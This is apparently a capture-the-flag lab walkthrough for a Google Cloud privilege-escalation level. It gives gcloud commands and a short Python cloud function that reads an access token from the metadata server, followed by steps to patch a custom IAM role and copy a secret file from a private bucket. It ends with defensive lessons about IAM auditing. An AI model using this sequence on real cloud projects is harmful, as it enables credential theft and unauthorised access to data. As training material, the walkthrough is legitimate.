python3 thunder.py destroy
Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a5power
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a5-access.json
Use the compromised service account credentials given to you to find the secret, which is located in a file called secret.txt in a private bucket on the project.
Test the permissions of the given credentials using the test-permissions.py script.
The credentials have the permission cloudfunctions.functions.list
List the cloud functions in the project:
gcloud functions list
Then, get more information about the function that you find, including its httpsTrigger:
gcloud functions describe [function]
Try calling the function using the service account's token:
curl [httpsTrigger] -H "Authorization: Bearer $(gcloud auth print-identity-token)"
The function doesn't seem to do anything useful with its current code, but you have the permission cloudfunctions.functions.sourceCodeSet.
Modify the function's code using:
gcloud functions deploy [function] --source=[path/to/code]
Information on how to write cloud functions can be found here, and information on how to use libraries can be found here.
Cloud functions either have their own service accounts or use the default cloud function service account in order to access other resources, so a cloud function can have more permissions than its caller. Try to gain access to the cloud function's service account.
Cloud functions get identity and access tokens from the Compute Metadata Server. Get an access token for the function from the metadata server. Information about how to do so can be found here.
The URL to get an access token from the metadata server is http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
To have the function return the access token, create the following files:
import requests def main(request): metadata_url = 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' token = requests.get(metadata_url, headers={'Metadata-Flavor': 'Google'}).json()['access_token'] return token + '\n'
requests
Deploy the new code:
gcloud functions deploy [function] --source=./function --trigger-http --runtime=python38
Then, call the function to get its access token.
Test the permissions of the token using the test-permissions.py script.
The token gives access to editing the permissions of roles and viewing the IAM policy.
Get the IAM policy to figure out what role your compromised credentials have.
Use the Resource Manager API function projects.getIamPolicy.
Find the role name of a5-access in the iam policy, which is in the form "projects/[project-id]/roles/[role-id]"
You can use the "iam.roles.update" permission of the function's access token to expand the abilities of a5-access. Since we know the secret is in a bucket, you should give yourself permissions to view and list buckets and objects.
Use the IAM API function projects.roles.patch.
Query the API, making sure to put role-name in the same format as it was in the IAM policy: "projects/[project-id]/roles/[role-id]"
Now that you have permission to view and list buckets and objects, find secret.txt. Note that you may need to re-activate the initial service account credential to refresh the access token with the new permissions you set.
gsutil ls gsutil ls [bucket-name] gsutil cp [secret-object-name] . cat secret.txt
In this level, a compromised service account for a developer is discovered that allows one to set the source code of a function. This allows one to deploy a function that can programmatically access and modify any resources that the privileges given to the function are allowed. These privileges could potentially be more expansive than the ones the initial service account provides. By setting the code of a function to query the Metadata service for credentials, we can then obtain an ephemeral access token that we can then use to navigate the cloud project's resources using the privileges given to the function. One of the privileges granted to this function is the ability to view and patch IAM policies. IAM access, let alone patching privileges, should never be given to such a function and it is a good idea to audit all IAM policies for correctness continuously to ensure such patches are detected. Patching privileges allows the adversary to grant him/herself the privileges required to access any project resource (such as objects in a restricted storage bucket).